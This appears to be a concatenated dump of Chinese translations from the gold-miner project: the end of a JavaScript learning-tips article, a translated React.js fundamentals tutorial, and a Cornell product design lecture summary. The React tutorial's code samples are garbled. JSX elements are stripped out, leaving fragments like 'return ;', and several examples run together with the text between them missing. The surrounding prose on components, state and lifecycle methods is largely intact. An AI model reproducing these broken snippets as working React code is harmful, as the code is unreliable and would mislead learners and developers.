光看而不采取实际行动是很危险的,你会有一种你正在学习的错觉。六个月后,你会发现自己什么都没学会。 写 15 分钟的代码比上你光看一小时的教程有用多了。 ## 错误 #9:没有事先理解或自行尝试就盲目跟从教程 阅读教程时,很容易陷入照葫芦画瓢的情况。这种教程并不会教你如何解决一个问题,例如需要进行怎样的测试,如何一步一步的探索可能出问题的方向。因此,只会跟着教程走的人往往学不到真正的知识。 那么解决方案是什么? 不要只知道跟着教程一步步走,而是要花点儿时间去自己实现。例如,如果您正在学习幻灯片教程,请尝试显示和隐藏 div,然后尝试计时,然后尝试另一个小部分。相对于跟着教程一步步地走,通过亲身尝试并拓展你将学到更多知识,并且有可能将它应用得更好。 ## 小贴士 在你读完这篇文章后,如果你问我最想让你记住什么,那就是通过采取最小的步骤来取得最大的进步。 无论你在学习什么,都要好好学习它本质上的东西。尝试你学到的东西,并乐在其中。 有时可能很困难,但这没关系。挑战意味着你正在提升个人能力,这将使你进步。如果一切总是太容易,这可能意味你需要进行些改变了。 我希望这篇文章对你有所帮助,如果有什么其他的帮助过你学习 JavaScript 的方法,欢迎你随时在评论中分享! --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/learning-react-js-is-easier-than-you-think.md ================================================ > * 原文地址:[Learning React.js is easier than you think](https://edgecoders.com/learning-react-js-is-easier-than-you-think-fbd6dc4d935a) > * 原文作者:[Samer Buna](https://edgecoders.com/@samerbuna) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/learning-react-js-is-easier-than-you-think.md](https://github.com/xitu/gold-miner/blob/master/TODO/learning-react-js-is-easier-than-you-think.md) > * 译者:[Cherry](https://github.com/sunshine940326) > * 校对者:[LeviDing](https://github.com/leviding)、[undead25](https://github.com/undead25) # 学习 React.js 比你想象的要简单 ## 通过 Medium 中的一篇文章来学习 React.js 的基本原理 ![](https://cdn-images-1.medium.com/max/1600/1*YsPpBr_PgtyTR6CFDmKU9g.png) 你有没有注意到在 React 的 logo 中隐藏着一个六角星?只是顺便提下... 去年我写了一本简短的关于学习 React.js 的书,有 100 页左右。今年,我要挑战自己 —— 将其总结成一篇文章,并向 Medium 投稿。 这篇文章不是讲什么是 React 或者 [你该怎样学习 React](https://medium.freecodecamp.org/yes-react-is-taking-over-front-end-development-the-question-is-why-40837af8ab76)。这是在面向那些已经熟悉了 JavaScript 和 [DOM API](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) 的人的 React.js 基本原理介绍 > 本文采用嵌入式 jsComplete 代码段,所以为了方便阅读,你需要一个合适的屏幕宽度。 下面所有的代码都仅供参考。它们也纯粹是为了表达概念而提供的例子。它们中的大多数有更好的实践方式。 您可以编辑和执行下面的任何代码段。使用 **Ctrl+Enter** 执行代码。每一段的右下角有一个点击后可以在 [jsComplete/repl](https://jscomplete.com/repl) 进行全屏模式编辑或运行代码的链接。 --- #### 1 React 全部都是组件化的 React 是围绕可重用组件的概念设计的。你定义小组件并将它们组合在一起形成更大的组件。 无论大小,所有组件都是可重用的,甚至在不同的项目中也是如此。 React 组件最简单的形式,就是一个普通的 JavaScript 函数: ```js function Button (props) {  // 这里返回一个 DOM 元素,例如: return ; } // 将按钮组件呈现给浏览器 ReactDOM.render(; } // 然后我们可以直接通过 .render 使用 InputForm ReactDOM.render(InputForm, mountNode); ``` 例 4:为什么在 React 中 JSX 受欢迎(和例 3 相比) 注意上面的几件事: - 这不是 HTML 代码。比如,我们仍然可以使用 `className` 代替 `class`。 - 我们仍在考虑怎样让上述的 JavaScript 看起来像是 HTML。看一下我在最后是怎样添加的。 我们在上面(例 4)中写的就是 JSX。然而,我们要将编译后的版本(例 3)给浏览器。要做到这一点,我们需要使用一个预处理器将 JSX 版本转换为 `React.createElement` 版本。 这就是 JSX。这是一种折中的方案,允许我们用类似 HTML 的语法来编写我们的 React 组件,这是一个很好的方法。 > “Flux” 在头部作为韵脚来使用,但它也是一个非常受欢迎的 [应用架构](https://facebook.github.io/flux/),由 Facebook 推广。最出名的是 Redux,Flux 和 React 非常合适。 JSX,可以单独使用,不仅仅适用于 React。 #### 3 你可以在 JavaScript 的任何地方使用 JSX 在 JSX 中,你可以在一对花括号内使用任何 JavaScript 表达式。 ```js const RandomValue = () =>
            { Math.floor(Math.random() * 100) }
            ; // 使用: ReactDOM.render(, mountNode); ``` 例 5:在 JSX 中使用 JavaScript 表达式 任何 JavaScript 表达式可以直接放在花括号中。这相当于在 JavaScript 中插入 `${}` [模板](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals)。 这是 JSX 内唯一的约束:只有表达式。例如,你不能使用 `if` 语句,但三元表达式是可以的。 JavaScript 变量也是表达式,所以当组件接受属性列表时(不包括 `RandomValue` 组件,`props` 是可选择的),你可以在花括号里使用这些属性。我们在上述(例 1)的 `Button` 组件是这样使用的。 JavaScript 对象也是表达式。有些时候我们在花括号中使用 JavaScript 对象,这看起来像是使用了两个花括号,但是在花括号中确实只有一个对象。其中一个用例就是将 CSS 样式对象传递给响应中的特殊样式属性: ```js const ErrorDisplay = ({message}) =>
            {message}
            ; // 使用 ReactDOM.render( , mountNode ); ``` 例 6:一个对象传递特殊的 React 样式参数 注意我**解构**的只是在属性参数之外的信息。这只是 JavaScript。还要注意上面的样式属性是一个特殊的属性(同样,它不是 HTML,它更接近 DOM API)。我们使用一个对象作为样式属性的值并且这个对象定义样式就像我们使用 JavaScript 那样(我们可以这样做)。 你可以在 JSX 中使用 React 元素。因为这也是一个表达式(记住,一个 React 元素只是一个函数调用): ```js const MaybeError = ({errorMessage}) =>
            {errorMessage && }
            ; // MaybeError 组件使用 ErrorDisplay 组件 const ErrorDisplay = ({message}) =>
            {message}
            ; // 现在我们使用 MaybeError 组件: ReactDOM.render( 0.5 ? 'Not good' : ''} />, mountNode ); ``` 例 7:一个 React 元素是一个可以通过 {} 使用的表达式 上述 `MaybeError` 组件只会在有 `errorMessage` 传入或者另外有一个空的 `div` 才会显示 `ErrorDisplay` 组件。React 认为 `{true}`、 `{false}` `{undefined}` 和 `{null}` 是有效元素,不呈现任何内容。 我们也可以在 JSX 中使用所有的 JavaScript 的集合方法(`map`、`reduce` 、`filter`、 `concat` 等)。因为他们返回的也是表达式: ```js const Doubler = ({value=[1, 2, 3]}) =>
            {value.map(e => e * 2)}
            ; // 使用下面内容 ReactDOM.render(, mountNode); ``` 例 8:在 {} 中使用数组 请注意我是如何给出上述 `value` 属性的默认值的,因为这全部都只是 JavaScript。注意我只是在 div 中输出一个数组表达式。React 是完全可以的。它只会在文本节点中放置每一个加倍的值。 #### 4 你可以使用 JavaScript 类写 React 组件 简单的函数组件非常适合简单的需求,但是有的时候我们需要的更多。React 也支持通过使用 [JavaScript 类](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)来创建组件。这里 `Button` 组件(在例 1 中)就是使用类的语法编写的。 ```js class Button extends React.Component { render() { return ; } } // 使用(相同的语法) ReactDOM.render(; } } // 使用 ReactDOM.render( ); } } // 使用 ReactDOM.render( ); } } // 使用 ReactDOM.render(
            , mountNode); ``` 例 12:使用包装过的对象 #### 6 每一个 React 组件都有一个故事:第 1 部分 以下仅适用于类组件(扩展 `React.Component`)。函数组件有一个稍微不同的故事。 1. 首先,我们定义了一个模板来创建组件中的元素。 2. 然后,我们在某处使用 React。例如,在 `render` 内部调用其他的组件,或者直接使用 `ReactDOM.render`。 3. 然后,React 实例化一个对象然后给它设置 **props** 然后我们可以通过 `this.props` 访问。这些属性都是我们在第 2 步传入的。 4. 因为这些全部都是 JavaScript,`constructor` 方法将会被调用(如果定义的话)。这是我们称之为的第一个:**组件生命周期方法**。 5. 接下来 React 计算渲染之后的输出方法(虚拟 DOM 节点)。 6. 因为这是 React 第一次渲染元素,React 将会与浏览器连通(代表我们使用 DOM API)来显示元素。这整个过程称为 **mounting**。 7. 接下来 React 调用另一个生命周期函数,称为 `componentDidMount`。我们可以这样使用这个方法,例如:在 DOM 上做一些我们现在知道的在浏览器中存在的东西。在此生命周期方法之前,我们使用的 DOM 都是虚拟的。 8. 一些组件的故事到此结束,其他组件得到卸载浏览器 DOM 中的各种原因。在后一种情况发生时,会调用另一个生命周期的方法,`componentWillUnmount`。 9. 任何 mounted 的元素的**状态**都可能会改变。该元素的父级可能会重新渲染。无论哪种情况,mounted 的元素都可能接收到不同的属性集。React 的魔力就是这儿,我们实际上需要的正是 React 的这一点!在这一点之前,说实话,我们并不需要 React。 10. 组价的故事还在继续,但是在此之前,我们需要理解我所说的这种**状态**。 #### 7 React 组件可以具有私有状态 以下只适用于类组件。我有没有提到有人叫表象而已的部件 **dumb**? 状态类是任何 React 类组件中的一个特殊字段。React 检测每一个组件状态的变化,但是为了 React 更加有效,我们必须通过 React 的另一个 API 改变状态字段,这就是我们要学习的另一个 API —— `this.setState`: ```js class CounterButton extends React.Component { state = { clickCounter: 0, currentTimestamp: new Date(), }; handleClick = () => { this.setState((prevState) => { return { clickCounter: prevState.clickCounter + 1 }; }); }; componentDidMount() { setInterval(() => { this.setState({ currentTimestamp: new Date() }) }, 1000); } render() { return (

            Clicked: {this.state.clickCounter}

            Time: {this.state.currentTimestamp.toLocaleString()}

            ); } } // 使用 ReactDOM.render(, mountNode); ``` 例 13:setState 的 API 这可能是最重要的一个例子因为这将是你完全理解 React 基础知识的方式。这个例子之后,还有一些小事情需要学习,但从那时起主要是你和你的 JavaScript 技能。 让我们来看一下例 13,从类开始,总共有两个,一个是一个初始化的有初始值为 `0` 的 `clickCounter` 对象和一个从 `new Date()` 开始的 `currentTimestamp`。 另一个类是 `handleClick` 函数,在渲染方法中我们给按钮元素传入 `onClick` 事件。通过使用 `setState` 的 `handleClick` 方法修改了组件的实例状态。要注意到这一点。 另一个我们修改状态的地方是在一个内部的定时器,开始在内部的 `componentDidMount` 生命周期方法。它每秒钟调用一次并且执行另一个函数调用 `this.setState`。 在渲染方法中,我们使用具有正常读语法的状态上的两个属性(没有专门的 API)。 现在,注意我们更新状态使用两种不同的方式: 1. 通过传入一个函数然后返回一个对象。我们在 `handleClick` 函数内部这样做。 2. 通过传入一个正则对象,我们在在区间回调中这样做。 这两种方式都是可以接受的,但是当你同时读写状态时,第一种方法是首选的(我们这样做)。在区间回调中,我们只向状态写入而不读它。当有问题时,总是使用第一个函数作为参数语法。伴随着竞争条件这更安全,因为 `setstate` 实际上是一个异步方法。 我们应该怎样更新状态呢?我们返回一个有我们想要更新的值的对象。注意,在调用 `setState` 时,我们全部都从状态中传入一个属性或者全都不。这完全是可以的因为 `setState` 实际上 **合并** 了你通过它(返回值的函数参数)与现有的状态,所以,没有指定一个属性在调用 `setState` 时意味着我们不希望改变属性(但不删除它)。 [![](https://ws4.sinaimg.cn/large/006tNc79gy1fi6sqg2ygbj31320dawg9.jpg)](https://twitter.com/samerbuna/status/870383561983090689) #### 8 React 将要反应 React 的名字是从状态改变的**反应**中得来的(虽然没有反应,但也是在一个时间表中)。这里有一个笑话,React 应该被命名为**Schedule**! 然而,当任何组件的状态被更新时,我们用肉眼观察到的是对该更新的反应,并自动反映了浏览器 DOM 中的更新(如果需要的话)。 将渲染函数的输入视为两种: - 通过父元素传入的属性 - 以及可以随时更新的内部私有状态 当渲染函数的输入改变时,输出可能也会改变。 React 保存了渲染的历史记录,当它看到一个渲染与前一个不同时,它将计算它们之间的差异,并将其有效地转换为在 DOM 中执行的实际 DOM 操作。 #### 9 React 是你的代码 您可以将 React 看作是我们用来与浏览器通信的代理。以上面的当前时间戳显示为例。取代每一秒我们都需要手动去浏览器调用 DOM API 操作来查找和更新 `p#timestamp` 元素,我们仅仅改变组件的状态属性,React 做的工作代表我们与浏览器的通信。我相信这就是为什么 React 这么受欢迎的真正原因;我们只是不喜欢和浏览器先生谈话(以及它所说的 DOM 语言的很多方言),并且 React 自愿传递给我们,免费的! #### 10 每一个 React 组件都有一个故事:第 2 部分 现在我们知道了一个组件的状态,当该状态发生变化的时候,我们来了解一下关于这个过程的最后几个概念。 1. 当组件的状态被更新时,或者它的父进程决定更改它传递给组件的属性时,组件可能需要重新渲染。 2. 如果后者发生,React 会调用另一个生命周期方法:`componentWillReceiveProps`。 3. 如果状态对象或传递的属性改变了,React 有一个重要的决定要做:组件是否应该在 DOM 中更新?这就是为什么它调用另一个重要的生命周期方法 `shouldComponentUpdate` 的原因 。此方法是一个实际问题,因此,如果需要自行定制或优化渲染过程,则必须通过返回 true 或 false 来回答这个问题。 4. 如果没有自定义 `shouldComponentUpdate`,React 的默认事件在大多数情况下都能处理的很好。 5. 首先,这个时候会调用另一生命周期的方法:`componentWillUpdate`。然后,React 将计算新渲染过的输出,并将其与最后渲染的输出进行对比。 6. 如果渲染过的输出和之前的相同,React 不进行处理(不需要和浏览器先生对话)。 7. 如果有不同的地方,React 将不同传达给浏览器,像我们之前看到的那样。 8. 在任何情况下,一旦一个更新程序发生了,无论以何种方式(即使有相同的输出),React 会调用最后的生命周期方法:`componentDidUpdate`。 生命周期方法是逃生舱口。如果你没有做什么特别的事情,你可以在没有它们的情况下创建完整的应用程序。它们非常方便地分析应用程序中正在发生的事情,并进一步优化 React 更新的性能。 --- 信不信由你,通过上面所学的知识(或部分知识),你可以开始创建一些有趣的 React 应用程序。如果你渴望更多,看看我的 [**Pluralsight 的 React.js 入门课程**](https://www.pluralsight.com/courses/react-js-getting-started?aid=701j0000001heIoAAI&promo=&oid=&utm_source=google&utm_medium=ppc&utm_campaign=US_Dynamic&utm_content=&utm_term=&gclid=CNOAj_2-j9UCFUpNfgod4V0Fdg)。 **感谢阅读。如果您觉得这篇文章有帮助,请点击原文中的 💚。请关注我的更多关于 React.js 和 JavaScript 的文章**。 --- 我 [Pluralsight](https://app.pluralsight.com/profile/author/samer-buna) 和 [Lynda](https://www.lynda.com/Samer-Buna/7060467-1.html) 创建了在线课程。我最新的文章在[Advanced React.js](https://www.pluralsight.com/courses/reactjs-advanced)、 [Advanced Node.js](https://www.pluralsight.com/courses/nodejs-advanced) 和 [Learning Full-stack JavaScript](https://www.lynda.com/Express-js-tutorials/Learning-Full-Stack-JavaScript-Development-MongoDB-Node-React/533304-2.html)中。我也做小组的在线和现场培训,覆盖初级到高级的 JavaScript、 Node.js、 React.js、GraphQL。如果你需要一个导师,[请来找我](mailto:samer@jscomplete.com) 。如果你对此篇文章或者我写的其他任何文章有疑问,[通过这个联系我](https://slack.jscomplete.com/),并且在 #questions 中提问。 --- 感谢很多检验和改进这篇文章的读者,Łukasz Szewczak、Tim Broyles、 Kyle Holden、 Robert Axelse、 Bruce Lane、Irvin Waldman 和 Amie Wilt. 特别要感谢“惊人的” [Amie](https://www.linkedin.com/in/amiewilt/),经验是一个实际的 [Unicorn](https://medium.com/@katherinemartinez/the-unicorn-hybrid-designer-developer-5e89607d5fe0)。谢谢你所有的帮助,Anime,真的非常感谢你。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/lecture-1-what-is-product-design.md ================================================ >* 原文链接 : [What is Product Design?](https://medium.com/intro-to-digital-product-design/lecture-1-what-is-product-design-c290bfe799a9#.ctnank1m1) * 原文作者 : [Andrew Aquino](https://medium.com/@andrewaquino) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Zhangjd](https://github.com/zhangjd) * 校对者: [hikerpig](https://github.com/hikerpig), [joyking7](https://github.com/joyking7) ![](https://cdn-images-1.medium.com/max/2000/1*kOx2oUFQrrXhbUF9CMQHog.jpeg) # 什么是产品设计? _这篇文章是对 CUAppDev 在康奈尔大学主办的 Intro to Digital Product Design 课程的总结记录。这门课程是1学分的,时间每周一 5:30PM 到 6:30PM,地点 Phillips 203。_ ### 什么是好的设计? Craigslist 以其美学标准而闻名,和今天的扁平风格 UI 与巨大的首图相比,Craigslist 的审美看起来似乎有点老了。但是,问题来了: > Craigslist 是不是好的设计? 许多人很快会说,Craigslist 的设计既过时又杂乱,因此是坏的设计。可是,有什么指标可以证明这个观点呢?Craigslist 每个月可是有 500 亿 PV 呢。 尽管直觉上感觉是那样,但 Craigslist 确实成功了 - 事实上它是挺好用的。大部分用户在寻找特定分类和进行买卖等操作时,都不会有太大的困难。 好的用户界面和好的用户体验是有区别的。尽管 Cragslist 用户界面过时,但更重要的是它有很棒的用户体验。这就是为什么我们可以认为 Craigslist 拥有良好的设计。 ![](https://cdn-images-1.medium.com/max/800/1*flGQAGbkERLU7wOQKiImnw.jpeg) ### 所以,到底什么是产品设计? 产品设计离不开解决问题,而产品设计师追求的是提高产品的体验。并且,他们还要懂得通过运用许多技能来完成这一目标:动画、原型、编程、调查、视觉设计、交互设计、心理学以及经营策略 ([Eric Eriksson](https://medium.com/@ericeriksson)). > “如果你只把产品设计师视作一种把方案设计得可以见人的职业,请重新思考。产品设计师是帮你识别、调查和验证问题的,并最终精巧地制作、设计、测试和完成整个解决方案的。” — Eric Eriksson 以下四个例子,可以让你浅尝到当一个产品设计师的体验: **产品设计师探索解决方案。** 你所看见的 Slack 用户界面会是完全不同的。设计师在解决问题的时候,不应该只考虑单个用户或是经理的需求,而是应该探索不同的可能性。 ![](https://cdn-images-1.medium.com/max/600/1*B4GBOSHIt1Ws6W_T3R6eag.jpeg) ![](https://cdn-images-1.medium.com/max/600/1*eTkC_l2vUaYuStgBQoRoNA.jpeg) **产品设计师验证解决方案。** 古怪的服装品牌,[Betabrand](http://betabrand.com),想要测试一个问题:胡须的长度是否会影响广告的点击率。 于是他们就着手测试了不同的广告,这些广告都用了同一个模特,只是胡子的长度从短到长分为多个等级。_他们发现了什么呢?_ 经过他们的分析,胡子长度最长的广告,点击率几乎提升了两倍。 ![](https://cdn-images-1.medium.com/max/600/1*-_h5Losqn2mtA4emTxDqdw.jpeg) ![](https://cdn-images-1.medium.com/max/600/1*bLP2bqxfZv4RNyO-OwAgeQ.jpeg) **产品设计师发现真正问题。** 每个人都想要一个“不喜欢”的按钮,不管是为了反感讨厌的政治文章,还是在 WorldStar 视频中提出反对意见,抑或是在灾害时表达悲伤。可是,你是否可以想象到因为某人可能不喜欢而害怕发表内容的情形?不喜欢按钮引起的新问题可能比解决的问题还多;它会使 Facebook 变成一个更容易受到消极影响的地方。 设计师发现,真实问题并不是缺少一个不喜欢按钮,而是 [生活中的每样东西并非都是可以点赞的](https://medium.com/facebook-design/reactions-not-everything-in-life-is-likable-5c403de72a3f#.lu650bnu7), 因此: 有了 Facebook reactions(反应按钮)。 ![](https://cdn-images-1.medium.com/max/600/1*0NvkunCJ6HWa3JfzDgflbQ.jpeg) ![](https://cdn-images-1.medium.com/max/600/1*eQK9fd_TEayTt8Wvox6m8w.jpeg) **产品设计师做必要的事情。** 设计并不总是要最简化的,Google 就在登录过程里添加了一个额外步骤。Google 这样做是为了消除那些使用多重账号的人的疑虑,并为他们准备了新的验证解决方案。虽然这样的解决方案让一个简单的任务变得更加复杂,但却是符合他们的业务约束与用户目标的。这个解决方案虽然不是最简化的,但却是相当有必要的。 ![](https://cdn-images-1.medium.com/max/600/1*kJW8OR5BfoPnTN0-Qdhj0Q.jpeg) ![](https://cdn-images-1.medium.com/max/600/1*6yyZLQFU98Yygt9CpIm3JQ.jpeg) ### 好的产品设计,关键是什么? ![](https://cdn-images-1.medium.com/max/800/1*uTDWovhGf6miGk_MSRYmTg.png)
            这是转述自 Elements of User Experience 作者 Jesse James Garrett 的一个图表。图片创作者未知(如果有人知道,请联系我)。
            设计不仅要处理视觉设计,还要处理用户体验的几个层面。这些层面上的设计可以通过一个 **设计流程** 来实现。 在这个流程中,会考虑以下这些方面:制定处理用户需求的策略,限定需要呈现的内容,并描绘出用户需要哪些步骤去实现一个目标。 > “但我只想要把样子变得更好看呀。” 这是一个常见的观点。可是,这些目光短浅的目标,甚至会伤害最好的、最创新的 idea, 因为... >![](https://cdn-images-1.medium.com/max/800/1*m4-53lKUMg6R_Ek8rXaB9Q.jpeg) 一个好的美术设计不能弥补一个坏的产品。如果你让一个设计师只管把产品变得好看,那就错了。你怎么知道你的产品是否确实在解决问题? 无论是设计师、开发者还是产品经理做的设计决策,都需要有一个评价标准。他必须从人类第一的角度来看,思考整个产品的方方面面。 > _过程来自于同理心_ 同理心即你对用户的关怀。作为一个设计师,你必须想要提供最佳的用户体验可能。**设计流程**让你不遗余力地考虑方方面面,从而来完成这个目标。(Jared Erondu) ![](https://cdn-images-1.medium.com/max/2000/1*ZoU6Z_tuuKSIYtjZnHHydg.jpeg) ### 课程总览 #### 你将学到什么? 1. 如何确定问题。 2. 如何探索问题。 3. 并如何验证问题。 4. 如何做视觉设计。 5. 如何呈现设计。 没有官方的教学大纲。本课程随着班级的进度灵活教学。 #### 你将如何学习? **课程结构** 这门课会更加传统,但班级通常由小讨论、工具示范、项目走查等组成。 **等级评定** 1. 来上课:你可以有两次无故缺席的机会。 2. 按时交作业。 **课程项目** 你可以挑选一个问题,然后发现解决方案,作为一个学习案例提交上来。例如:[http://www.teehanlax.com/story/medium/](http://www.teehanlax.com/story/medium/) * 每次发布作业都算进这个课程项目。 **任务** 你必须把这两者都提交到 Facebook Group. 1. 发布作业:这些作业可能不尽相同,但都要在下次课的前一个星期天之前提交。 2. Weekly UI (选做) : _这些是 DailyUI 的一个拆分_. Weekly UI 的目的是可以不受约束地练习视觉设计. ![](https://cdn-images-1.medium.com/max/800/1*zFimCaH0gGaeYjJ1WVFoSA.png)
            [Ranjith Alingal](https://dribbble.com/ranjithalingal) 设计的 Nike 卡片
            是的,WeeklyUI 是可选做的作业。可是,想要提高视觉设计的水平,唯一途径还是要练习。 > **“只有通过进行大量的工作,你才能缩小差距,你的作品才能配得上你所追求的目标。” — Ira Glass** **课程工具** **Piazza** 用于组织工作和提问。演讲的幻灯片也会被传到 Piazza。 **Facebook Group** 用在你的上传作业,同伴、推动人反馈意见,以及其它资源。_我们决定使用 Facebook Group ,是因为公开分享你的作品是很重要的。_ **Medium** 讲座记录会放在 Medium 收藏中。 **扩展资源** **办公时间** 在周三 11:00–12:00PM, 周三 1:30PM-2:30PM, 周五 10:00PM-11:00PM **一对一辅导** 将被安排用于讨论进度 **午餐** 安排在周一 12:00 到 1:00PM. 这些时间可以用来反馈、提意见等。 **你需要的软件 (选择以下一项或多项)** * Photoshop (20$/月, Adobe CC 版本) * Illustrator (20$/月, Adobe CC 版本) * Sketch ($40 学生优惠价) * _你可以使用的其他设计程序。_ #### 这对你有什么好处? **经验** 当你结课时,你将获得一个完整的产品学习经验,更加熟悉设计工具。除此之外,你将可以更容易地和产品经理、设计师、客户以及其他利益相关者进行沟通。 **产品设计思想** 可以转换到数字产品之外的任何地方。比如,产品设计可以用在键盘的物理布局,或者作为决策相关的,比如组织一个课室。总之,这个框架可以帮助你验证任何你所需要做的决定。 #### 这对我们有什么好处? ![](https://cdn-images-1.medium.com/max/400/1*YVdmW91Yui8R8kQcEqLoPA.jpeg) ![](https://cdn-images-1.medium.com/max/400/1*3kR4zl51bZuq27w1Yp4cJQ.jpeg) ![](https://cdn-images-1.medium.com/max/400/1*CnkBQkmVFik5V-PajgRJug.jpeg) 我确定你曾经听过人们这样讲过:“_我在工作的地方学习了我所知道的所有东西。_” 和 “_我不会使用我在学校里学到的任何东西_”。这里的争论是,教育的目的是为了最大化接触,而不是应用技能,因此我们在设计上的要求是有所不同的。 Cornell 的目的不是在迎合设计工作的具体需求。这是因为教育是滞后于产业的。你可能要等一段时间才能看到类似于 iOS 开发,内容运营,前端框架之类的新课程。 这有时会让我们流失一些学生,因为他们的求知欲在有限学时里不能得到满足。有些设计师因为从未耳闻“产品设计师”而转学其他专业,对我们来说,是个很大的问题。 因此,我们的解决方案是,在我们都满怀热情的地方填补一个重大空白:设计。 #### 这对每个人有什么好处? _下面是改编自 Stephanie Engle 的一篇[关于产品设计的介绍](https://medium.com/p/c2dbbc7809d3),他提出了一个关于理解产品设计的优秀的论据。_ 那些缺乏以用户为中心的设计,影响着人们每一天的生活,并或多或少导致失意与挫败的情绪。 ![](https://cdn-images-1.medium.com/max/600/1*R4p2RGfzyDRGg-2WyhJ4CA.jpeg) ![](https://cdn-images-1.medium.com/max/600/1*sNkNpmrVuz2tXxcyzPCoLg.jpeg) 然而,更糟糕的设计甚至会夺走人的生命。 ([Stephanie Engle](https://medium.com/hh-design/intro-to-product-design-c2dbbc7809d3)). > **“Jenny 死于中毒和脱水。全因为照顾她那位老练的护士一直在花时间操作这个界面。” — **[Jonathan Shariat](https://medium.com/u/62abc616e750) ![](https://cdn-images-1.medium.com/max/800/1*o_OGbnZnX2aNDaNuLod6uQ.jpeg)
            **Jonathan Shariat**,Tragic Design 的作者。
            除开不好的地方,设计还有机会激发创新。像一个设计师那样思考,你可以去分享这个故事,这不仅关于我们如何存在,而且我们应该如何存在。 ![](https://cdn-images-1.medium.com/max/800/1*KthtYqzfjoVkKp-WlfoVtA.jpeg)
            梅赛德斯奔驰把潜在的社会经验用在自动驾驶汽车设计上。
            ![](https://cdn-images-1.medium.com/max/2000/1*ANw9c6PDOtB4-b35Qb85zg.jpeg) **但是 Nicole 和 Andrew — 你们不是老师。”** 你说得对,我们不是老师。 **我们也不知道我们在干嘛。** 可是,这个课程是一个机会,让所有人学到一些新的东西。请注意了:任何人都有权利分享知识和经验。[SkillShare](http://skillshare.com/) 和 [Berkeley’s DeCal](http://www.decal.org/) 项目都是现实生活中服务大我的鲜活例子。请试着不要把我们当作老师,而是促进者或者内容管理者。 所以,我们设计我们的课堂,你将在课堂上学习相同的框架。我们确定了几种方法,测试了它们的反馈,并巩固了我们最好的解决方案,让你学习产品设计。 事实上,有几种专业的设计课程,包括 a16z Gen.D Mentorship program, BuzzFeed Product Design, 和 Facebook Product Design 都帮助我们设计这个课堂的形状与形式,并传授了他们所希望的,在产品设计的早期能学习到的东西。 以下是帮助我们设计出第一课的人们:  [Jared Erondu](https://medium.com/u/2bf050c6e495), [Stephanie Engle](https://medium.com/u/625007cfe848), [Cap Watkins](https://medium.com/u/2757f3636a9f), [Allison Chefec](https://medium.com/u/eedf78d45a92), [Tom Harman](https://medium.com/u/98b2642f8375), [Lindsey Maratta](https://medium.com/u/2f53109682dd), and [Sabrina Majeed](https://medium.com/u/ebec6c3f778e). 为了进一步促进学习体验,我们设置设计了 [匿名反馈表单](http://goo.gl/forms/IdkNCsbUwc) ![](https://cdn-images-1.medium.com/max/800/1*rmf09RfocAk2TW9Y76-ihA.jpeg) ![](https://cdn-images-1.medium.com/max/800/1*wXzzkatTR0neLfwG_ix5Vg.jpeg) ### 逻辑 #### _如何注册_ 在 Facebook Group 和 the Piazza 上面可以看到关于如何注册的指引。 #### 作业 所有的作业都要上传到 Facebook group 下特定的分类里。 **分配作业 1: 分类问题** > 当 _____ 的时候, 我想要 _____ , 以便 _____ . 参考 Clay Christensen’s Jobs framework (Inspired by design team at Intercom),问题可以通过上面这个结构来思考。这将激励你在每天的经历中分辨出你平常没有注意到的缺点。 > 例) 当拍合照的时候,我想要在一台手机上拍,以便避免在多台手机上拍同一张照片。 **WeeklyUI: 移动端登录页面 (选做)** ![](https://cdn-images-1.medium.com/max/800/1*WYT7dZ59cv1AKEypH4-dJA.jpeg)
            左边: [Michał Ptaszyński](https://dribbble.com/michal_ptaszynski),
            ### 扩展资源 * [https://startupsthisishowdesignworks.com/](https://startupsthisishowdesignworks.com/) * [Intro To Product Design — HH Design — Medium](https://medium.com/hh-design/intro-to-product-design-c2dbbc7809d3#.iup6b4d9z) * [What is Product Design? — Medium](https://medium.com/@ericeriksson/what-is-product-design-9709572cb3ff#.xsp0td71g) ### 我们学到了什么 #### 兴趣 我们调查了来自不同大学的超过 100 名注册者。 ![](https://cdn-images-1.medium.com/max/800/1*9fCD64REOU_OfMlNI9jHyg.png)
            80 人完成了首次调查。
            我们发现 **Facebook groups** 独立提供了一个课程外的交互体验。在这个没人想到的地方,虚拟化一个产品设计为中心的社区,不仅对我们有益,对于个体成员也会有所帮助。 我们使用这个来提供工具,使他们可以投入在设计课程中,还可以分享在设计流程中新发现的扩展资源。 ![](https://cdn-images-1.medium.com/max/600/1*Qr8OXBY58xjGr9faAmvtLw.png) ![](https://cdn-images-1.medium.com/max/600/1*RqARvkGP7D2E_hsfEBAckg.png)
            左边:在 Facebook reactions 分享阅读,右边:分享一个工具,可以用来发现一些好的设计
